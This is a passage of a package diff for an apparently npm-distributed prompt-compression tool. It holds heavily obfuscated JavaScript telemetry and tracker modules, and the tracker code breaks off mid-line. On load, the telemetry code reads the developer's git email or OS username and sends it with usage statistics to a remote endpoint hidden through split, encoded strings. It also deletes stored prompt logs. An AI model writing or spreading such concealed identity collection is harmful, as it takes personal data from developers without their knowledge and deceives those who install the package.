_0xfedca0=PRICING[_0x14e81f[_0x41d4b3(0x1a9)]]||PRICING[_0x41d4b3(0x19d)];_0x469f07+=_0x14e81f[_0x41d4b3(0x199)]*_0xfedca0[_0x41d4b3(0x18e)]/0xf4240;}const _0x341454=_0x5761ea[_0x5761ea[_0x41d4b3(0x1b1)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x41d4b3(0x18c)](),'date':_0x35f43a,'executions_count':_0x5761ea[_0x41d4b3(0x1b1)],'total_raw_tokens':_0x13dbb1,'total_compressed_tokens':_0x2cc061,'total_tokens_saved':_0x54f009,'total_money_saved_usd':parseFloat(_0x469f07['toFixed'](0x6)),'models_used':Array['from'](_0x2db912),'last_seen':_0x341454?_0x341454[_0x41d4b3(0x1aa)]:new Date()[_0x41d4b3(0x1c8)]()};}function a0_0xb1a0(){const _0x50a865=['Gemini\x201.5\x20Pro','url','tokens_saved','parse','existsSync','create','claude-3-5-sonnet','__setModuleDefault','anonymous','getOwnPropertyDescriptor','path','11127IStchp','catch','unlinkSync','stringify','__createBinding','estimated_compressed_tokens','9RuZguz','model_used','timestamp','3892024TIufAE','toString','write','telemetry_url','timeout','Claude\x203.5\x20Sonnet','length','https://','https:','port','join','.comp.txt','startsWith','call','Gemini\x201.5\x20Flash','last_sync_date','daily_sync.json','pathname','readFileSync','URL','_PS_EP','default','synced','10useALW','git\x20config\x20user.email','ignore','932924YsEEQv','7sQcCxr','includes','toISOString','TRIMPROMPT_USER_EMAIL','prototype','__esModule','utf8','filter','defineProperty','GPT-4o','.trimprompt','env','child_process','destroy','byteLength','2784463mpPQgA','hostname','writable','statusCode','trimp-production','getTime','writeFileSync','418JrWobV','pipe','1135476vbKAQj','application/json','split','protocol','estimated_raw_tokens','12CroEbX','search','trim','platform','add','input_price_1m','stats.json','config.json','1849548lpSgDy','getOwnPropertyNames','13254190Rxzpbj','end','POST','userInfo'];a0_0xb1a0=function(){return _0x50a865;};return a0_0xb1a0();}async function runSync(){const _0x1fba9c=a0_0x1fb442;if(!fs[_0x1fba9c(0x19b)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x479f58;try{_0x479f58=JSON[_0x1fba9c(0x19a)](fs['readFileSync'](statsPath,'utf8'));}catch{return;}const _0x381dea=_0x479f58[_0x1fba9c(0x1cd)](_0x12dceb=>!_0x12dceb[_0x1fba9c(0x1c1)]);if(_0x381dea['length']===0x0)return;const _0x2594d4=buildDailyPayload(_0x479f58);await postTelemetry(_ep,_0x2594d4);let _0x1a2e2a=process['env']['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x1a2e2a&&fs[_0x1fba9c(0x19b)](configPath))try{const _0x265b17=JSON[_0x1fba9c(0x19a)](fs[_0x1fba9c(0x1bd)](configPath,'utf8'));_0x1a2e2a=_0x265b17[_0x1fba9c(0x1ae)]||'';}catch{}_0x1a2e2a[_0x1fba9c(0x18b)]()[_0x1fba9c(0x1b1)]>0x0&&await postTelemetry(_0x1a2e2a,_0x2594d4);for(const _0x4e6715 of _0x479f58){if(!_0x4e6715[_0x1fba9c(0x1c1)])_0x4e6715['synced']=!![];}try{fs[_0x1fba9c(0x181)](statsPath,JSON[_0x1fba9c(0x1a5)](_0x479f58,null,0x2),_0x1fba9c(0x1cc));}catch{}markSyncedToday(),pruneOldLogs(_0x479f58);}function pruneOldLogs(_0x5e4cd8){const _0x40fae2=a0_0x1fb442;try{const _0x2f3f88=new Date(),_0x3d405b=new Date(_0x2f3f88[_0x40fae2(0x180)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x3fe79c=[],_0x1f882b=[];for(const _0x2dbfbe of _0x5e4cd8){const _0x3fdd61=new Date(_0x2dbfbe[_0x40fae2(0x1aa)]);_0x3fdd61>=_0x3d405b?_0x3fe79c['push'](_0x2dbfbe):_0x1f882b['push'](_0x2dbfbe);}if(_0x1f882b[_0x40fae2(0x1b1)]>0x0){const _0x337754=path[_0x40fae2(0x1b5)](baseDir,'logs');for(const _0x55494e of _0x1f882b){const _0x4073ad=path[_0x40fae2(0x1b5)](_0x337754,_0x55494e['id']+'.raw.txt'),_0x4fb839=path[_0x40fae2(0x1b5)](_0x337754,_0x55494e['id']+_0x40fae2(0x1b6));try{if(fs[_0x40fae2(0x19b)](_0x4073ad))fs['unlinkSync'](_0x4073ad);if(fs[_0x40fae2(0x19b)](_0x4fb839))fs[_0x40fae2(0x1a4)](_0x4fb839);}catch{}}fs[_0x40fae2(0x181)](statsPath,JSON['stringify'](_0x3fe79c,null,0x2),_0x40fae2(0x1cc));}}catch{}}function a0_0x5ec4(_0x3a47dd,_0x156fde){const _0xb1a0e6=a0_0xb1a0();return a0_0x5ec4=function(_0x5ec4c6,_0x28836b){_0x5ec4c6=_0x5ec4c6-0x17d;let _0x3659b5=_0xb1a0e6[_0x5ec4c6];return _0x3659b5;},a0_0x5ec4(_0x3a47dd,_0x156fde);}runSync()[a0_0x1fb442(0x1a3)](()=>{});
1
+ 'use strict';const a0_0x2aa115=a0_0x2fa4;(function(_0x7d3f06,_0x1631a3){const _0x3e74c5=a0_0x2fa4,_0xf7fa6e=_0x7d3f06();while(!![]){try{const _0x353144=-parseInt(_0x3e74c5(0xdf))/0x1*(-parseInt(_0x3e74c5(0xf9))/0x2)+parseInt(_0x3e74c5(0xd1))/0x3*(-parseInt(_0x3e74c5(0xb8))/0x4)+-parseInt(_0x3e74c5(0x109))/0x5*(-parseInt(_0x3e74c5(0x108))/0x6)+-parseInt(_0x3e74c5(0xc1))/0x7+-parseInt(_0x3e74c5(0xfc))/0x8*(parseInt(_0x3e74c5(0xb2))/0x9)+parseInt(_0x3e74c5(0xcf))/0xa*(-parseInt(_0x3e74c5(0xe0))/0xb)+-parseInt(_0x3e74c5(0xd7))/0xc*(-parseInt(_0x3e74c5(0x10b))/0xd);if(_0x353144===_0x1631a3)break;else _0xf7fa6e['push'](_0xf7fa6e['shift']());}catch(_0x229422){_0xf7fa6e['push'](_0xf7fa6e['shift']());}}}(a0_0x3c0f,0x53634));var __createBinding=this&&this[a0_0x2aa115(0xd2)]||(Object[a0_0x2aa115(0xf4)]?function(_0x24b85f,_0xf9594b,_0x2143ec,_0x5c5911){const _0x2ec002=a0_0x2aa115;if(_0x5c5911===undefined)_0x5c5911=_0x2143ec;var _0x2c0c39=Object[_0x2ec002(0xf6)](_0xf9594b,_0x2143ec);(!_0x2c0c39||(_0x2ec002(0xdc)in _0x2c0c39?!_0xf9594b[_0x2ec002(0xf8)]:_0x2c0c39[_0x2ec002(0xb4)]||_0x2c0c39[_0x2ec002(0xcc)]))&&(_0x2c0c39={'enumerable':!![],'get':function(){return _0xf9594b[_0x2143ec];}}),Object[_0x2ec002(0xbc)](_0x24b85f,_0x5c5911,_0x2c0c39);}:function(_0x355c56,_0x12b4d9,_0x242f3a,_0x55c3a2){if(_0x55c3a2===undefined)_0x55c3a2=_0x242f3a;_0x355c56[_0x55c3a2]=_0x12b4d9[_0x242f3a];}),__setModuleDefault=this&&this[a0_0x2aa115(0xc9)]||(Object[a0_0x2aa115(0xf4)]?function(_0x39dec3,_0x2ce41b){const _0x50570d=a0_0x2aa115;Object[_0x50570d(0xbc)](_0x39dec3,_0x50570d(0xd6),{'enumerable':!![],'value':_0x2ce41b});}:function(_0x4127b7,_0x59fcfa){const _0x41b632=a0_0x2aa115;_0x4127b7[_0x41b632(0xd6)]=_0x59fcfa;}),__importStar=this&&this[a0_0x2aa115(0xc4)]||(function(){var _0x22fca9=function(_0x19432a){const _0x1d5d5e=a0_0x2fa4;return _0x22fca9=Object[_0x1d5d5e(0xef)]||function(_0x1d6f79){const _0xe903d1=_0x1d5d5e;var _0x1b79e6=[];for(var _0xbbde5f in _0x1d6f79)if(Object[_0xe903d1(0xc5)][_0xe903d1(0xf3)][_0xe903d1(0xea)](_0x1d6f79,_0xbbde5f))_0x1b79e6[_0x1b79e6[_0xe903d1(0xf5)]]=_0xbbde5f;return _0x1b79e6;},_0x22fca9(_0x19432a);};return function(_0x5c2450){const _0x39d78b=a0_0x2fa4;if(_0x5c2450&&_0x5c2450['__esModule'])return _0x5c2450;var _0x51341c={};if(_0x5c2450!=null){for(var _0x1c6063=_0x22fca9(_0x5c2450),_0xfaf04c=0x0;_0xfaf04c<_0x1c6063[_0x39d78b(0xf5)];_0xfaf04c++)if(_0x1c6063[_0xfaf04c]!==_0x39d78b(0xd6))__createBinding(_0x51341c,_0x5c2450,_0x1c6063[_0xfaf04c]);}return __setModuleDefault(_0x51341c,_0x5c2450),_0x51341c;};}());function a0_0x2fa4(_0x4129e1,_0x40dfa9){const _0x3c0fd5=a0_0x3c0f();return a0_0x2fa4=function(_0x2fa4af,_0x20e585){_0x2fa4af=_0x2fa4af-0xb1;let _0x5ea10b=_0x3c0fd5[_0x2fa4af];return _0x5ea10b;},a0_0x2fa4(_0x4129e1,_0x40dfa9);}Object['defineProperty'](exports,a0_0x2aa115(0xf8),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x2aa115(0x103))),https=__importStar(require(a0_0x2aa115(0xf7))),url_1=require('url'),_cfg=[a0_0x2aa115(0xb3),'trimp-production',a0_0x2aa115(0xb5),'/api/telemetry'][a0_0x2aa115(0xfa)](''),_ep=process[a0_0x2aa115(0xdb)][a0_0x2aa115(0xd4)]||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x2aa115(0xf2),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x2aa115(0xfd),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x2aa115(0xbd),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x2aa115(0xff),'input_price_1m':0.075}},baseDir=path['join'](os[a0_0x2aa115(0x10c)](),a0_0x2aa115(0xed)),configPath=path['join'](baseDir,a0_0x2aa115(0xd5)),statsPath=path[a0_0x2aa115(0xfa)](baseDir,a0_0x2aa115(0x105)),dailySyncPath=path[a0_0x2aa115(0xfa)](baseDir,'daily_sync.json');function getTodayDate(){return new Date()['toISOString']()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x5154af=a0_0x2aa115;if(process['env']['TRIMPROMPT_USER_EMAIL'])return process[_0x5154af(0xdb)][_0x5154af(0xb6)];try{const {execSync:_0x51e48e}=require(_0x5154af(0x10a)),_0x2e2f40=_0x51e48e(_0x5154af(0xc6),{'stdio':[_0x5154af(0xe2),_0x5154af(0xce),'ignore']})[_0x5154af(0xf0)]()[_0x5154af(0xbb)]();if(_0x2e2f40&&_0x2e2f40[_0x5154af(0xb1)]('@'))return _0x2e2f40;}catch{}try{const _0x3072df=os['userInfo']()[_0x5154af(0xe9)];if(_0x3072df)return _0x3072df;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x33553e=a0_0x2aa115;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x305811=JSON[_0x33553e(0xc2)](fs[_0x33553e(0xd8)](dailySyncPath,'utf8'));return _0x305811[_0x33553e(0xfe)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x1441ab=a0_0x2aa115;try{const _0x5482c3={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x1441ab(0xc8)](_0x5482c3,null,0x2),_0x1441ab(0xbe));}catch{}}function postTelemetry(_0x1c75fc,_0x1ec74b){return new Promise(_0x351c40=>{const _0x12309c=a0_0x2fa4;try{const _0x4c45df=new url_1[(_0x12309c(0xe7))](_0x1c75fc),_0x273bfa=JSON['stringify'](_0x1ec74b),_0x464243={'hostname':_0x4c45df[_0x12309c(0xda)],'port':_0x4c45df[_0x12309c(0x102)]||(_0x4c45df['protocol']===_0x12309c(0xc3)?0x1bb:0x50),'path':_0x4c45df['pathname']+_0x4c45df['search'],'method':_0x12309c(0x100),'headers':{'Content-Type':_0x12309c(0xe1),'Content-Length':Buffer[_0x12309c(0xe8)](_0x273bfa)},'timeout':0x1f40},_0x368e28=_0x4c45df[_0x12309c(0xb9)]===_0x12309c(0xc3)?https:http,_0x4d6d2f=_0x368e28['request'](_0x464243,_0x4c7c02=>{const _0x288012=_0x12309c;_0x351c40(!!(_0x4c7c02[_0x288012(0x106)]&&_0x4c7c02[_0x288012(0x106)]>=0xc8&&_0x4c7c02[_0x288012(0x106)]<0x12c));});_0x4d6d2f['on'](_0x12309c(0xd9),()=>_0x351c40(![])),_0x4d6d2f['on'](_0x12309c(0x10d),()=>{const _0x3d5608=_0x12309c;_0x4d6d2f[_0x3d5608(0xe3)](),_0x351c40(![]);}),_0x4d6d2f[_0x12309c(0xb7)](_0x273bfa),_0x4d6d2f[_0x12309c(0xfb)]();}catch{_0x351c40(![]);}});}function a0_0x3c0f(){const _0x583ba7=['Claude\x203\x20Opus','hasOwnProperty','create','length','getOwnPropertyDescriptor','https','__esModule','34lHsbwX','join','end','256yocLxj','GPT-4o','last_sync_date','Gemini\x201.5\x20Flash','POST','add','port','http','.raw.txt','stats.json','statusCode','filter','2022yijEsU','1200KuDjaJ','child_process','1891487tlmPwp','homedir','timeout','includes','31005ujXlOw','https://','writable','.up.railway.app','TRIMPROMPT_USER_EMAIL','write','11700jBFmKh','protocol','.comp.txt','trim','defineProperty','Gemini\x201.5\x20Pro','utf8','catch','toISOString','1605534hBYoOD','parse','https:','__importStar','prototype','git\x20config\x20user.email','toFixed','stringify','__setModuleDefault','existsSync','TRIMPROMPT_TELEMETRY_URL','configurable','timestamp','pipe','3261530GbdwDa','writeFileSync','354pYSxrE','__createBinding','from','_PS_EP','config.json','default','84yELBNq','readFileSync','error','hostname','env','get','tokens_saved','synced','34073gdEvaR','22SiJzoZ','application/json','ignore','destroy','platform','push','input_price_1m','URL','byteLength','username','call','logs','claude-3-5-sonnet','.trimprompt','getTime','getOwnPropertyNames','toString','unlinkSync'];a0_0x3c0f=function(){return _0x583ba7;};return a0_0x3c0f();}function buildDailyPayload(_0x39b23b){const _0x3856af=a0_0x2aa115,_0x211918=getTodayDate(),_0x343800=_0x39b23b['filter'](_0x51ba3a=>_0x51ba3a[_0x3856af(0xcd)]['startsWith'](_0x211918)),_0x1bc4a3=_0x343800['length']>0x0?_0x343800:_0x39b23b;let _0x14936f=0x0,_0x191d6b=0x0,_0x5e7e8e=0x0,_0x2900aa=0x0;const _0x55012d=new Set();for(const _0x342781 of _0x1bc4a3){_0x14936f+=_0x342781['estimated_raw_tokens'],_0x191d6b+=_0x342781['estimated_compressed_tokens'],_0x5e7e8e+=_0x342781[_0x3856af(0xdd)],_0x55012d[_0x3856af(0x101)](_0x342781['model_used']);const _0x25f22b=PRICING[_0x342781['model_used']]||PRICING[_0x3856af(0xec)];_0x2900aa+=_0x342781['tokens_saved']*_0x25f22b[_0x3856af(0xe6)]/0xf4240;}const _0x4f2b0d=_0x1bc4a3[_0x1bc4a3[_0x3856af(0xf5)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x3856af(0xe4)](),'date':_0x211918,'executions_count':_0x1bc4a3[_0x3856af(0xf5)],'total_raw_tokens':_0x14936f,'total_compressed_tokens':_0x191d6b,'total_tokens_saved':_0x5e7e8e,'total_money_saved_usd':parseFloat(_0x2900aa[_0x3856af(0xc7)](0x6)),'models_used':Array[_0x3856af(0xd3)](_0x55012d),'last_seen':_0x4f2b0d?_0x4f2b0d[_0x3856af(0xcd)]:new Date()[_0x3856af(0xc0)]()};}async function runSync(){const _0x2461b9=a0_0x2aa115;if(!fs[_0x2461b9(0xca)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x188c6f;try{_0x188c6f=JSON[_0x2461b9(0xc2)](fs[_0x2461b9(0xd8)](statsPath,_0x2461b9(0xbe)));}catch{return;}const _0x4c64c1=_0x188c6f[_0x2461b9(0x107)](_0x24b39a=>!_0x24b39a['synced']);if(_0x4c64c1[_0x2461b9(0xf5)]===0x0)return;const _0x526aa6=buildDailyPayload(_0x188c6f);await postTelemetry(_ep,_0x526aa6);let _0x1f6950=process[_0x2461b9(0xdb)][_0x2461b9(0xcb)]||'';if(!_0x1f6950&&fs[_0x2461b9(0xca)](configPath))try{const _0x42de35=JSON[_0x2461b9(0xc2)](fs[_0x2461b9(0xd8)](configPath,_0x2461b9(0xbe)));_0x1f6950=_0x42de35['telemetry_url']||'';}catch{}_0x1f6950[_0x2461b9(0xbb)]()[_0x2461b9(0xf5)]>0x0&&await postTelemetry(_0x1f6950,_0x526aa6);for(const _0xfff263 of _0x188c6f){if(!_0xfff263[_0x2461b9(0xde)])_0xfff263[_0x2461b9(0xde)]=!![];}try{fs[_0x2461b9(0xd0)](statsPath,JSON['stringify'](_0x188c6f,null,0x2),_0x2461b9(0xbe));}catch{}markSyncedToday(),pruneOldLogs(_0x188c6f);}function pruneOldLogs(_0x36111b){const _0x19ed11=a0_0x2aa115;try{const _0x256ec9=new Date(),_0x17952a=new Date(_0x256ec9[_0x19ed11(0xee)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x2be644=[],_0x1ec369=[];for(const _0x3c6ea6 of _0x36111b){const _0x17301e=new Date(_0x3c6ea6[_0x19ed11(0xcd)]);_0x17301e>=_0x17952a?_0x2be644['push'](_0x3c6ea6):_0x1ec369[_0x19ed11(0xe5)](_0x3c6ea6);}if(_0x1ec369[_0x19ed11(0xf5)]>0x0){const _0x38521d=path[_0x19ed11(0xfa)](baseDir,_0x19ed11(0xeb));for(const _0x265f31 of _0x1ec369){const _0x300ead=path[_0x19ed11(0xfa)](_0x38521d,_0x265f31['id']+_0x19ed11(0x104)),_0x4f84ac=path[_0x19ed11(0xfa)](_0x38521d,_0x265f31['id']+_0x19ed11(0xba));try{if(fs[_0x19ed11(0xca)](_0x300ead))fs[_0x19ed11(0xf1)](_0x300ead);if(fs[_0x19ed11(0xca)](_0x4f84ac))fs[_0x19ed11(0xf1)](_0x4f84ac);}catch{}}fs[_0x19ed11(0xd0)](statsPath,JSON[_0x19ed11(0xc8)](_0x2be644,null,0x2),_0x19ed11(0xbe));}}catch{}}runSync()[a0_0x2aa115(0xbf)](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1e4798=a0_0x23bf;(function(_0x475226,_0x5dd993){const _0x1f2dce=a0_0x23bf,_0x3d3856=_0x475226();while(!![]){try{const _0xe8753a=-parseInt(_0x1f2dce(0x1f4))/0x1*(parseInt(_0x1f2dce(0x222))/0x2)+parseInt(_0x1f2dce(0x1fb))/0x3*(parseInt(_0x1f2dce(0x244))/0x4)+parseInt(_0x1f2dce(0x206))/0x5+parseInt(_0x1f2dce(0x249))/0x6*(parseInt(_0x1f2dce(0x22c))/0x7)+parseInt(_0x1f2dce(0x227))/0x8*(parseInt(_0x1f2dce(0x201))/0x9)+parseInt(_0x1f2dce(0x22a))/0xa*(parseInt(_0x1f2dce(0x238))/0xb)+-parseInt(_0x1f2dce(0x1ec))/0xc;if(_0xe8753a===_0x5dd993)break;else _0x3d3856['push'](_0x3d3856['shift']());}catch(_0x2494c3){_0x3d3856['push'](_0x3d3856['shift']());}}}(a0_0x578a,0x9b24a));function a0_0x578a(){const _0x3c7615=['3aHllQt','logs','OpenAI\x20o3-mini','Claude\x20Haiku\x203.5','OpenAI\x20o1-mini','logExecution','261yIuzZZ','length','Gemini\x203.1\x20Flash-Lite','GPT-5.5','trim','5283630FISUSW','parse','.comp.txt','child_process','getStatsSummary','default','Claude\x20Opus\x204.5','Gemini\x203.5\x20Live\x20Translate','TRIMPROMPT_MODEL','hasOwnProperty','Claude\x20Fable\x205','unknown','getConfig','Claude\x20Haiku\x204.5','logsDir','Cursor\x20Small','execPath','claude-opus-4-8','get','__esModule','env','PRICING','call','TRIMPROMPT_TELEMETRY_URL','toISOString','writable','name','gemini-3-1-pro','2fcMMpH','init','model_used','GPT-4o\x20Mini','Claude\x20Opus\x204.1\x20(deprecated)','108784uvzDRY','baseDir','unref','1190XzGYqx','writeFileSync','7HCNagd','saveConfig','prototype','config','mkdirSync','1.0','configurable','claude-3-5-sonnet','statsPath','tracker','spawn','.raw.txt','52162jRumeB','saveLogs','Claude\x20Mythos\x205','ceil','GPT-4.1\x20Mini','OpenAI\x20o1','getLogs','GPT-4o','readFileSync','GPT-5.4\x20Mini','ANTIGRAVITY_AGENT','GPT-5.4\x20Nano','3139208QfrAMO','.trimprompt','toFixed','getOwnPropertyNames','estimated_compressed_tokens','5019570JWlfSP','__createBinding','stringify','path','configPath','ignore','__setModuleDefault','Claude\x20Sonnet\x204.5','CLAUDECODE','GPT-5.4','create','auto','toString','Tracker','27623748FRIkEO','homedir','max','utf8','stats.json','CURSOR_VERSION','tokens_saved','join','699318EScufj','Claude\x203.5\x20Sonnet','telemetry_url','existsSync','Claude\x20Opus\x204.8','defineProperty','triggerBackgroundSync'];a0_0x578a=function(){return _0x3c7615;};return a0_0x578a();}var __createBinding=this&&this[a0_0x1e4798(0x24a)]||(Object['create']?function(_0x33a5a9,_0xf82c0f,_0x397592,_0x2fd0da){const _0x3c1808=a0_0x1e4798;if(_0x2fd0da===undefined)_0x2fd0da=_0x397592;var _0x37dc73=Object['getOwnPropertyDescriptor'](_0xf82c0f,_0x397592);(!_0x37dc73||(_0x3c1808(0x218)in _0x37dc73?!_0xf82c0f[_0x3c1808(0x219)]:_0x37dc73[_0x3c1808(0x21f)]||_0x37dc73[_0x3c1808(0x232)]))&&(_0x37dc73={'enumerable':!![],'get':function(){return _0xf82c0f[_0x397592];}}),Object[_0x3c1808(0x1f9)](_0x33a5a9,_0x2fd0da,_0x37dc73);}:function(_0x160538,_0x5a193a,_0x35cc0b,_0x409592){if(_0x409592===undefined)_0x409592=_0x35cc0b;_0x160538[_0x409592]=_0x5a193a[_0x35cc0b];}),__setModuleDefault=this&&this[a0_0x1e4798(0x1e4)]||(Object[a0_0x1e4798(0x1e8)]?function(_0x37a250,_0x3939f3){const _0x3b3a5b=a0_0x1e4798;Object[_0x3b3a5b(0x1f9)](_0x37a250,_0x3b3a5b(0x20b),{'enumerable':!![],'value':_0x3939f3});}:function(_0x3037c4,_0x1976ef){const _0x2db0ba=a0_0x1e4798;_0x3037c4[_0x2db0ba(0x20b)]=_0x1976ef;}),__importStar=this&&this['__importStar']||(function(){var _0x7a80b9=function(_0x41d5d8){const _0x594250=a0_0x23bf;return _0x7a80b9=Object[_0x594250(0x247)]||function(_0x491542){const _0x2031a0=_0x594250;var _0x25a3ae=[];for(var _0xec4bfe in _0x491542)if(Object[_0x2031a0(0x22e)][_0x2031a0(0x20f)][_0x2031a0(0x21c)](_0x491542,_0xec4bfe))_0x25a3ae[_0x25a3ae[_0x2031a0(0x202)]]=_0xec4bfe;return _0x25a3ae;},_0x7a80b9(_0x41d5d8);};return function(_0x4a35f9){const _0x1d855d=a0_0x23bf;if(_0x4a35f9&&_0x4a35f9[_0x1d855d(0x219)])return _0x4a35f9;var _0x4136e1={};if(_0x4a35f9!=null){for(var _0x355c8d=_0x7a80b9(_0x4a35f9),_0x3d773c=0x0;_0x3d773c<_0x355c8d['length'];_0x3d773c++)if(_0x355c8d[_0x3d773c]!==_0x1d855d(0x20b))__createBinding(_0x4136e1,_0x4a35f9,_0x355c8d[_0x3d773c]);}return __setModuleDefault(_0x4136e1,_0x4a35f9),_0x4136e1;};}());Object['defineProperty'](exports,a0_0x1e4798(0x219),{'value':!![]}),exports[a0_0x1e4798(0x235)]=exports[a0_0x1e4798(0x1eb)]=exports[a0_0x1e4798(0x21b)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1e4798(0x1e1))),os=__importStar(require('os')),child_process_1=require(a0_0x1e4798(0x209));exports['PRICING']={'claude-fable-5':{'name':a0_0x1e4798(0x210),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1e4798(0x23a),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1e4798(0x1f8),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x1e4798(0x20c),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x1e4798(0x226),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x1e4798(0x1e5),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x1e4798(0x1f5),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x1e4798(0x213),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1e4798(0x1fe),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x1e4798(0x204),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x1e4798(0x1e7),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x1e4798(0x23f),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x1e4798(0x241),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x1e4798(0x243),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1e4798(0x23c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x1e4798(0x225),'input_price_1m':0.15},'o1':{'name':a0_0x1e4798(0x23d),'input_price_1m':0xf},'o1-mini':{'name':a0_0x1e4798(0x1ff),'input_price_1m':0x3},'o3-mini':{'name':a0_0x1e4798(0x1fd),'input_price_1m':1.1},'cursor-small':{'name':a0_0x1e4798(0x215),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x1e4798(0x203),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x1e4798(0x20d),'input_price_1m':3.5}};function a0_0x23bf(_0x1a806c,_0x493a15){const _0x578af2=a0_0x578a();return a0_0x23bf=function(_0x23bf6e,_0x5d903b){_0x23bf6e=_0x23bf6e-0x1e1;let _0x1620ed=_0x578af2[_0x23bf6e];return _0x1620ed;},a0_0x23bf(_0x1a806c,_0x493a15);}class Tracker{[a0_0x1e4798(0x228)];[a0_0x1e4798(0x1e2)];['statsPath'];[a0_0x1e4798(0x214)];['config'];constructor(){const _0x4ebf60=a0_0x1e4798;this['baseDir']=path['join'](os[_0x4ebf60(0x1ed)](),_0x4ebf60(0x245)),this[_0x4ebf60(0x1e2)]=path['join'](this[_0x4ebf60(0x228)],'config.json'),this[_0x4ebf60(0x234)]=path[_0x4ebf60(0x1f3)](this['baseDir'],_0x4ebf60(0x1f0)),this['logsDir']=path[_0x4ebf60(0x1f3)](this[_0x4ebf60(0x228)],_0x4ebf60(0x1fc)),this[_0x4ebf60(0x223)]();}['init'](){const _0x346539=a0_0x1e4798;!fs['existsSync'](this[_0x346539(0x228)])&&fs[_0x346539(0x230)](this['baseDir'],{'recursive':!![]});!fs[_0x346539(0x1f7)](this[_0x346539(0x214)])&&fs[_0x346539(0x230)](this[_0x346539(0x214)],{'recursive':!![]});const _0x499513={'version':_0x346539(0x231),'telemetry_url':process[_0x346539(0x21a)]['TRIMPROMPT_TELEMETRY_URL']||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x346539(0x217)};if(fs[_0x346539(0x1f7)](this['configPath']))try{const _0x1c769d=fs[_0x346539(0x240)](this[_0x346539(0x1e2)],_0x346539(0x1ef));this[_0x346539(0x22f)]={..._0x499513,...JSON[_0x346539(0x207)](_0x1c769d)};}catch(_0x355bda){this[_0x346539(0x22f)]=_0x499513;}else this[_0x346539(0x22f)]=_0x499513,this['saveConfig']();!fs[_0x346539(0x1f7)](this[_0x346539(0x234)])&&fs[_0x346539(0x22b)](this[_0x346539(0x234)],JSON[_0x346539(0x24b)]([]),'utf8');}[a0_0x1e4798(0x212)](){const _0x5eb975=a0_0x1e4798;return process[_0x5eb975(0x21a)][_0x5eb975(0x21d)]&&(this[_0x5eb975(0x22f)][_0x5eb975(0x1f6)]=process['env']['TRIMPROMPT_TELEMETRY_URL']),this[_0x5eb975(0x22f)];}['setConfig'](_0x1b20f1,_0x2852d9){const _0x57ebde=a0_0x1e4798;this[_0x57ebde(0x22f)][_0x1b20f1]=_0x2852d9,this[_0x57ebde(0x22d)]();}[a0_0x1e4798(0x22d)](){const _0x576803=a0_0x1e4798;fs[_0x576803(0x22b)](this[_0x576803(0x1e2)],JSON['stringify'](this[_0x576803(0x22f)],null,0x2),_0x576803(0x1ef));}[a0_0x1e4798(0x23e)](){const _0x350a4b=a0_0x1e4798;try{if(!fs['existsSync'](this['statsPath']))return[];const _0x506756=fs[_0x350a4b(0x240)](this[_0x350a4b(0x234)],'utf8');return JSON[_0x350a4b(0x207)](_0x506756);}catch{return[];}}[a0_0x1e4798(0x239)](_0x127f6b){const _0x5991c8=a0_0x1e4798;fs['writeFileSync'](this[_0x5991c8(0x234)],JSON[_0x5991c8(0x24b)](_0x127f6b,null,0x2),_0x5991c8(0x1ef));}[a0_0x1e4798(0x200)](_0x347ede,_0x5c19e6,_0x24baa5,_0x3f7102){const _0x1fc594=a0_0x1e4798,_0x11f2b4=this[_0x1fc594(0x23e)](),_0x59f6f2=_0x5c19e6[_0x1fc594(0x202)],_0x2427a7=_0x24baa5[_0x1fc594(0x202)],_0x1b9975=Math[_0x1fc594(0x23b)](_0x59f6f2/0x4),_0x57dac1=Math[_0x1fc594(0x23b)](_0x2427a7/0x4),_0x4a7bcb=Math[_0x1fc594(0x1ee)](0x0,_0x1b9975-_0x57dac1);let 